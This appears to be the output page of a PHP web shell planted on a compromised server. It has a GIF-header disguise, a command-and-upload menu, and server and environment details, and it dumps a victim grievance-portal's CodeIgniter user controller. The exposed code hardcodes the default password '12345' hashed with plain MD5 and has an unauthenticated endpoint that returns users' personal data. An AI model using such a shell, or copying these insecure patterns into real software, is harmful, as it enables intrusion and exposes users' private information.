GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.219.253.199 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../grievance/cgi-bin/../application/cache/../controllers/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller Class For Handling All Requests Related To Users * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Users extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->library('session'); $this->load->helper('form'); $this->load->library('form_validation'); $this->load->model("UserManagement"); $this->load->model("GrievanceCategoryManagement"); $this->load->model("GCAllotManagement"); $this->load->model("CourseManagement"); $this->load->model("StuParentMappingManagement"); } public function createGCellMgmtMember() { if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) { $viewData['non_del_gcatgs'] = $this->GrievanceCategoryManagement->getNonDeletedGrievanceCategoriesOfInstitute($this->session->userdata('inst_id'))->result(); $this->load->view('add_gc_mgmt_member', $viewData); } else { redirect("Home/"); } } public function createNewGCellMgmtMember() { if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) { $this->form_validation->set_rules('userFirstName', 'First Name', 'trim|required', array('required' => 'First Name Is Required.')); $this->form_validation->set_rules('userEmail', 'Email', 'trim|required|valid_email', array('required' => 'Email Is Required.')); $this->form_validation->set_rules('userMobile', 'Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Mobile Is Required.')); $this->form_validation->set_rules('userGender', 'Gender', 'required', array('required' => 'Gender Is Required.')); $this->form_validation->set_rules('userRole', 'Role', 'required', array('required' => 'Role Is Required.')); $assignedGCategories = ($this->input->post('userGCategories') == "") ? array() : $this->input->post('userGCategories'); if ($this->form_validation->run() == FALSE) { $this->createGCellMgmtMember(); } else if (sizeof($assignedGCategories) == 0) { $this->session->set_flashdata('errorMessage', "At Lease One Grievance Category Needs To Be Allotted For G-Cell/Mgmt. User Creation."); $this->createGCellMgmtMember(); } else { $queryByEmail = $this->UserManagement->getUserInfoByEmail($this->input->post('userEmail')); $userInfoByEmail = $queryByEmail->result(); $queryByMobile = $this->UserManagement->getUserInfoByMobileNumber($this->input->post('userMobile')); $userInfoByMobile = $queryByMobile->result(); if (sizeof($userInfoByEmail)) { $this->session->set_flashdata('errorMessage', "This Email Is Already In Use. Please Try With Different Email."); $this->createGCellMgmtMember(); } else if (sizeof($userInfoByMobile)) { $this->session->set_flashdata('errorMessage', "This Mobile Number Is Already In Use. Please Try With Different Mobile."); $this->createGCellMgmtMember(); } else { if (empty($_FILES['profileImg']['name'])) { $profileImageNameWithPath = base_url("assets/images/gc_mgmt_members/default.png"); $password = "12345"; $newGCellMgmtInfo = array( 'cau_first_name' => $this->input->post('userFirstName'), 'cau_last_name' => $this->input->post('userLastName'), 'cau_password' => MD5($password), 'cau_email' => $this->input->post('userEmail'), 'cau_mobile' => $this->input->post('userMobile'), 'cau_gender' => $this->input->post('userGender'), 'cau_mobile_verify_status' => 'T', 'cau_email_verify_status' => 'T', 'cau_user_type_flag' => 'NA', 'cau_user_role_flag' => $this->input->post('userRole'), 'cau_auth_sms_flag' => 'F', 'cau_image_url' => $profileImageNameWithPath, 'cau_signup_on' => date("Y-m-d H:i:s"), 'cau_last_updated_on' => date("Y-m-d H:i:s"), 'clg_id' => $this->session->userdata('inst_id') ); $this->db->trans_start(); $cau_id = $this->UserManagement->createNewUser($newGCellMgmtInfo); if ($cau_id) { for ($gcAllot = 0; $gcAllot < sizeof($assignedGCategories); $gcAllot++) { $gCatAllotInfo = array( 'gcm_id' => $assignedGCategories[$gcAllot], 'cau_id' => $cau_id, 'gcma_allotted_on' => date("Y-m-d H:i:s"), 'gcma_allotted_by' => $this->session->userdata('id') ); $this->GCAllotManagement->makeNewAllotment($gCatAllotInfo); } $this->session->set_flashdata('successMessage', 'G-Cell/Mgmnt. Member Added Successfully.'); $this->db->trans_complete(); redirect("Users/usersList"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Creating G-Cell/Mgmnt. Member. Try Later.'); $this->db->trans_complete(); $this->createGCellMgmtMember(); } } else { $profileImageNameWithPath = ""; $configProfileImg['upload_path'] = './assets/images/gc_mgmt_members/'; $configProfileImg['allowed_types'] = 'jpeg|jpg|png|webp'; //$configProfileImg['max_width'] = '320'; //$configProfileImg['max_height'] = '220'; $configProfileImg['max_size'] = '800'; $configProfileImg['file_ext_tolower'] = TRUE; $configProfileImg['encrypt_name'] = TRUE; $this->load->library('upload', $configProfileImg); if (!$this->upload->do_upload('profileImg')) { $this->session->set_flashdata('errorMessage', "The Profile Image Can Not Be Uploaded As It Do Not Match With Profile Image Criteria. File Size 800 KB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp"); $this->createGCellMgmtMember(); } else { $profileImageNameWithPath = base_url("assets/images/gc_mgmt_members/") . $this->upload->data()['file_name']; $password = "12345"; $newGCellMgmtInfo = array( 'cau_first_name' => $this->input->post('userFirstName'), 'cau_last_name' => $this->input->post('userLastName'), 'cau_password' => MD5($password), 'cau_email' => $this->input->post('userEmail'), 'cau_mobile' => $this->input->post('userMobile'), 'cau_gender' => $this->input->post('userGender'), 'cau_mobile_verify_status' => 'T', 'cau_email_verify_status' => 'T', 'cau_user_type_flag' => 'NA', 'cau_user_role_flag' => $this->input->post('userRole'), 'cau_auth_sms_flag' => 'F', 'cau_image_url' => $profileImageNameWithPath, 'cau_signup_on' => date("Y-m-d H:i:s"), 'cau_last_updated_on' => date("Y-m-d H:i:s"), 'clg_id' => $this->session->userdata('inst_id') ); $this->db->trans_start(); $cau_id = $this->UserManagement->createNewUser($newGCellMgmtInfo); if ($cau_id) { for ($gcAllot = 0; $gcAllot < sizeof($assignedGCategories); $gcAllot++) { $gCatAllotInfo = array( 'gcm_id' => $assignedGCategories[$gcAllot], 'cau_id' => $cau_id, 'gcma_allotted_on' => date("Y-m-d H:i:s"), 'gcma_allotted_by' => $this->session->userdata('id') ); $this->GCAllotManagement->makeNewAllotment($gCatAllotInfo); } $this->session->set_flashdata('successMessage', 'G-Cell/Mgmnt. Member Added Successfully.'); $this->db->trans_complete(); redirect("Users/usersList"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Creating G-Cell/Mgmnt. Member. Try Later.'); $this->db->trans_complete(); $this->createGCellMgmtMember(); } } } } } } else { redirect("Home/"); } } public function usersList($type = '') { if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) { if ($type == '') { $viewData['non_del_users'] = $this->UserManagement->getNonDeletedUsersOfInstitute($this->session->userdata('inst_id'))->result(); } $this->load->view('users', $viewData); } else { redirect("Home/"); } } public function toggleUserBlockStatus($cau_id, $toUpdateStatus) { if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) { $userBlockStatusUpdateData = array( 'cau_id' => $cau_id, 'cau_block_status' => $toUpdateStatus, 'cau_last_updated_on' => date("Y-m-d H:i:s"), ); if ($this->UserManagement->updateUserInfo($userBlockStatusUpdateData)) { $this->session->set_flashdata('successMessage', 'User Block Status Updated Successfully.'); redirect("Users/usersList"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating User Block Status. Try Later.'); redirect("Users/usersList"); } } else { redirect("Home/"); } } public function toggleUserApproveStatus($cau_id, $toUpdateStatus) { if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) { $userApproveStatusUpdateData = array( 'cau_id' => $cau_id, 'cau_approve_status' => $toUpdateStatus, 'cau_last_updated_on' => date("Y-m-d H:i:s"), ); if ($this->UserManagement->updateUserInfo($userApproveStatusUpdateData)) { $this->session->set_flashdata('successMessage', 'User Approve Status Updated Successfully.'); redirect("Users/usersList"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating User Approve Status. Try Later.'); redirect("Users/usersList"); } } else { redirect("Home/"); } } public function deleteUser($cau_id) { if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) { $userDeleteData = array( 'cau_id' => $cau_id, 'cau_last_updated_on' => date("Y-m-d H:i:s"), 'cau_delete_status' => 'T' ); if ($this->UserManagement->updateUserInfo($userDeleteData)) { $this->session->set_flashdata('successMessage', 'User Account Deleted Successfully.'); redirect("Users/usersList"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting User Account. Try Later.'); redirect("Users/usersList"); } } else { redirect("Home/"); } } public function resetUserPassword($cau_id) { if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) { $courseDeleteData = array( 'cau_id' => $cau_id, 'cau_last_updated_on' => date("Y-m-d H:i:s"), 'cau_password' => MD5("12345") ); if ($this->UserManagement->updateUserInfo($courseDeleteData)) { $this->session->set_flashdata('successMessage', "User Account's Password Reset Successfully."); redirect("Users/usersList"); } else { $this->session->set_flashdata('errorMessage', "Some Error Occurred While Resetting User Account's Password. Try Later."); redirect("Users/usersList"); } } else { redirect("Home/"); } } public function editUserAccount($cau_id) { if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) { $viewData['allotted_gc'] = $this->GCAllotManagement->getAllottedGCToUser($cau_id)->result(); $viewData['non_del_gcatgs'] = $this->GrievanceCategoryManagement->getNonDeletedGrievanceCategoriesOfInstitute($this->session->userdata('inst_id'))->result(); $viewData['user_info'] = $this->UserManagement->getUserInfoById($cau_id)->result()[0]; $this->load->view('edit_gc_mgmt_member', $viewData); } else { redirect("Home/"); } } public function updateGCellMgmtMember() { if ($this->session->userdata('logged_in') && ($this->session->userdata('role') == "CA")) { $this->form_validation->set_rules('userFirstName', 'First Name', 'trim|required', array('required' => 'First Name Is Required.')); $this->form_validation->set_rules('userEmail', 'Email', 'trim|required|valid_email', array('required' => 'Email Is Required.')); $this->form_validation->set_rules('userMobile', 'Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Mobile Is Required.')); $this->form_validation->set_rules('userGender', 'Gender', 'required', array('required' => 'Gender Is Required.')); $this->form_validation->set_rules('userRole', 'Role', 'required', array('required' => 'Role Is Required.')); $assignedGCategories = ($this->input->post('userGCategories') == "") ? array() : $this->input->post('userGCategories'); $userCurrentProfileImageFileName = substr($this->input->post('currentProfileImgPath'), strripos($this->input->post('currentProfileImgPath'), "/") + 1); if ($this->form_validation->run() == FALSE) { $this->editUserAccount($this->input->post('userId')); } else if (sizeof($assignedGCategories) == 0) { $this->session->set_flashdata('errorMessage', "At Lease One Grievance Category Needs To Be Allotted For G-Cell/Mgmt. User Creation."); $this->editUserAccount($this->input->post('userId')); } else { if (!$this->UserManagement->isEmailSafeUpdate($this->input->post('userId'), $this->input->post('userEmail'))) { $this->session->set_flashdata('errorMessage', "This Email Is Already Registered With Some Other Account. Please Try With Different Email."); $this->editUserAccount($this->input->post('userId')); } else if (!$this->UserManagement->isMobileSafeUpdate($this->input->post('userId'), $this->input->post('userMobile'))) { $this->session->set_flashdata('errorMessage', "This Mobile Number Is Already Registered With Some Other Account. Please Try With Different Mobile."); $this->editUserAccount($this->input->post('userId')); } else { if (empty($_FILES['profileImg']['name'])) { $profileImageNameWithPath = $this->input->post('currentProfileImgPath'); $gCellMgmtUpdateInfo = array( 'cau_id' => $this->input->post('userId'), 'cau_first_name' => $this->input->post('userFirstName'), 'cau_last_name' => $this->input->post('userLastName'), 'cau_email' => $this->input->post('userEmail'), 'cau_mobile' => $this->input->post('userMobile'), 'cau_gender' => $this->input->post('userGender'), 'cau_user_role_flag' => $this->input->post('userRole'), 'cau_image_url' => $profileImageNameWithPath, 'cau_last_updated_on' => date("Y-m-d H:i:s") ); $this->db->trans_start(); if ($this->UserManagement->updateUserInfo($gCellMgmtUpdateInfo)) { $this->GCAllotManagement->deleteGCAllotMappingByUserId($this->input->post('userId')); for ($gcAllot = 0; $gcAllot < sizeof($assignedGCategories); $gcAllot++) { $gCatAllotInfo = array( 'gcm_id' => $assignedGCategories[$gcAllot], 'cau_id' => $this->input->post('userId'), 'gcma_allotted_on' => date("Y-m-d H:i:s"), 'gcma_allotted_by' => $this->session->userdata('id') ); $this->GCAllotManagement->makeNewAllotment($gCatAllotInfo); } $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'G-Cell/Mgmnt. Member Updated Successfully.'); redirect("Users/usersList"); } else { $this->db->trans_complete(); $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating G-Cell/Mgmnt. Member. Try Later.'); $this->editUserAccount($this->input->post('userId')); } } else { $profileImageNameWithPath = ""; $configProfileImg['upload_path'] = './assets/images/gc_mgmt_members/'; $configProfileImg['allowed_types'] = 'jpeg|jpg|png|webp'; //$configProfileImg['max_width'] = '320'; //$configProfileImg['max_height'] = '220'; $configProfileImg['max_size'] = '800'; $configProfileImg['file_ext_tolower'] = TRUE; $configProfileImg['encrypt_name'] = TRUE; $this->load->library('upload', $configProfileImg); if (!$this->upload->do_upload('profileImg')) { $this->session->set_flashdata('errorMessage', "The Profile Image Can Not Be Uploaded As It Do Not Match With Profile Image Criteria. File Size 800 KB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp"); $this->editUserAccount($this->input->post('userId')); } else { $profileImageNameWithPath = base_url("assets/images/gc_mgmt_members/") . $this->upload->data()['file_name']; $gCellMgmtUpdateInfo = array( 'cau_id' => $this->input->post('userId'), 'cau_first_name' => $this->input->post('userFirstName'), 'cau_last_name' => $this->input->post('userLastName'), 'cau_email' => $this->input->post('userEmail'), 'cau_mobile' => $this->input->post('userMobile'), 'cau_gender' => $this->input->post('userGender'), 'cau_user_role_flag' => $this->input->post('userRole'), 'cau_image_url' => $profileImageNameWithPath, 'cau_last_updated_on' => date("Y-m-d H:i:s") ); $this->db->trans_start(); if ($this->UserManagement->updateUserInfo($gCellMgmtUpdateInfo)) { $this->GCAllotManagement->deleteGCAllotMappingByUserId($this->input->post('userId')); for ($gcAllot = 0; $gcAllot < sizeof($assignedGCategories); $gcAllot++) { $gCatAllotInfo = array( 'gcm_id' => $assignedGCategories[$gcAllot], 'cau_id' => $this->input->post('userId'), 'gcma_allotted_on' => date("Y-m-d H:i:s"), 'gcma_allotted_by' => $this->session->userdata('id') ); $this->GCAllotManagement->makeNewAllotment($gCatAllotInfo); } $this->db->trans_complete(); if ($userCurrentProfileImageFileName != "default.png") { unlink("./assets/images/gc_mgmt_members/" . $userCurrentProfileImageFileName); } $this->session->set_flashdata('successMessage', 'G-Cell/Mgmnt. Member Updated Successfully.'); redirect("Users/usersList"); } else { $this->db->trans_complete(); $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Creating G-Cell/Mgmnt. Member. Try Later.'); $this->editUserAccount($this->input->post('userId')); } } } } } } else { redirect("Home/"); } } public function getUserFulllInfo() { $cau_id = $_POST['cau_id']; $type = $_POST['type']; if ($type == 'typeWise') { $user_info = $this->UserManagement->getOnlyUsersFullInfoBy($cau_id)->result()[0]; } else { $user_info = $this->UserManagement->getOnlyGCellMgmtMembersFullInfoBy($cau_id)->result()[0]; } $gender = "-"; $userType = "-"; $userRole = "-"; $courseName = "-"; $allottedGCats = "-"; $uIdLabel = "-"; $wardsInformation = "-"; if ($user_info->cau_gender == "M") { $gender = "Male"; } else { if ($user_info->cau_gender == "F") { $gender = "Female"; } else { $gender = "Other"; } } if ($user_info->cau_user_type_flag == "S") { $userType = "Student"; $uIdLabel = "Reg./Admsn./Roll No."; $courseInfo = $this->CourseManagement->getCourseInfoById($user_info->course_id)->result()[0]; $courseName = $courseInfo->course_name; } else if ($user_info->cau_user_type_flag == "P") { $userType = "Parent"; $uIdLabel = "Ward's Reg./Admsn./Roll No."; $wardInfo = $this->StuParentMappingManagement->getStudentInfoByParentId($user_info->cau_id)->result(); $wardInfoArray = array(); for ($wi = 0; $wi < sizeof($wardInfo); $wi++) { array_push($wardInfoArray, $wardInfo[$wi]->cau_first_name . "/" . $wardInfo[$wi]->cau_adm_reg_roll_no); } $wardsInformation = implode('*', $wardInfoArray); } else if ($user_info->cau_user_type_flag == "N") { $uIdLabel = "Emp. Code/No."; $userType = "Non-Teaching"; } else if ($user_info->cau_user_type_flag == "F") { $uIdLabel = "Emp. Code/No."; $userType = "Teaching/Faculty"; } else { $uIdLabel = "NA"; $userType = $user_info->cau_user_type_flag; } if ($user_info->cau_user_role_flag == "CA") { $userRole = "Institute-Admin"; } else if ($user_info->cau_user_role_flag == "GCM") { $userRole = "G-Cell Member"; $gcAllottedHeadsArray = array(); $allottedGCInfo = $this->GCAllotManagement->getAllottedGCToUserFullInfo($user_info->cau_id)->result(); for ($gcAllotInfo = 0; $gcAllotInfo < sizeof($allottedGCInfo); $gcAllotInfo++) { array_push($gcAllottedHeadsArray, $allottedGCInfo[$gcAllotInfo]->gcm_title); } $allottedGCats = implode('*', $gcAllottedHeadsArray); } else if ($user_info->cau_user_role_flag == "MGMT") { $userRole = "Mgmnt. Member"; } else { $userRole = $user_info->cau_user_role_flag; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'cau_id' => $user_info->cau_id, 'cau_first_name' => $user_info->cau_first_name, 'cau_last_name' => $user_info->cau_last_name, 'cau_email' => $user_info->cau_email, 'cau_mobile' => $user_info->cau_mobile, 'cau_alt_email' => ($user_info->cau_alt_email == "") ? "NA" : $user_info->cau_alt_email, 'cau_alt_mobile' => ($user_info->cau_alt_mobile == "") ? "NA" : $user_info->cau_alt_mobile, 'cau_mobile_verify_status' => ($user_info->cau_mobile_verify_status == "T") ? "Yes" : "No", 'cau_email_verify_status' => ($user_info->cau_email_verify_status == "T") ? "Yes" : "No", 'cau_gender' => $gender, 'cau_course_complete_on' => ($user_info->cau_course_complt_on == NULL) ? "-" : date('d-m-Y', strtotime($user_info->cau_course_complt_on)), 'cau_course_name' => $courseName, 'cau_parent_of' => $wardsInformation, 'cau_allotted_gcats' => $allottedGCats, 'cau_adm_emp_id' => ($user_info->cau_adm_reg_roll_no == "" || $user_info->cau_adm_reg_roll_no == NULL) ? "NA" : $uIdLabel . ":" . $user_info->cau_adm_reg_roll_no, 'cau_ca_operation_on' => date('d-m-Y h:i:s A', strtotime($user_info->cau_last_updated_on)), 'cau_user_type_flag' => $userType, 'cau_user_role_flag' => $userRole, 'cau_image_url' => base_url($user_info->cau_image_url), 'cau_auth_sms_flag' => ($user_info->cau_auth_sms_flag == 'T') ? "SMS Allowed" : "SMS Not Allowed", 'cau_approve_status' => ($user_info->cau_approve_status == 'T') ? "Approved" : "Approval Pending", 'cau_delete_status' => ($user_info->cau_delete_status == 'T') ? "Deleted" : "-", 'cau_block_status' => ($user_info->cau_block_status == 'F') ? "Unblocked" : "Blocked" ); echo json_encode($responseData); } }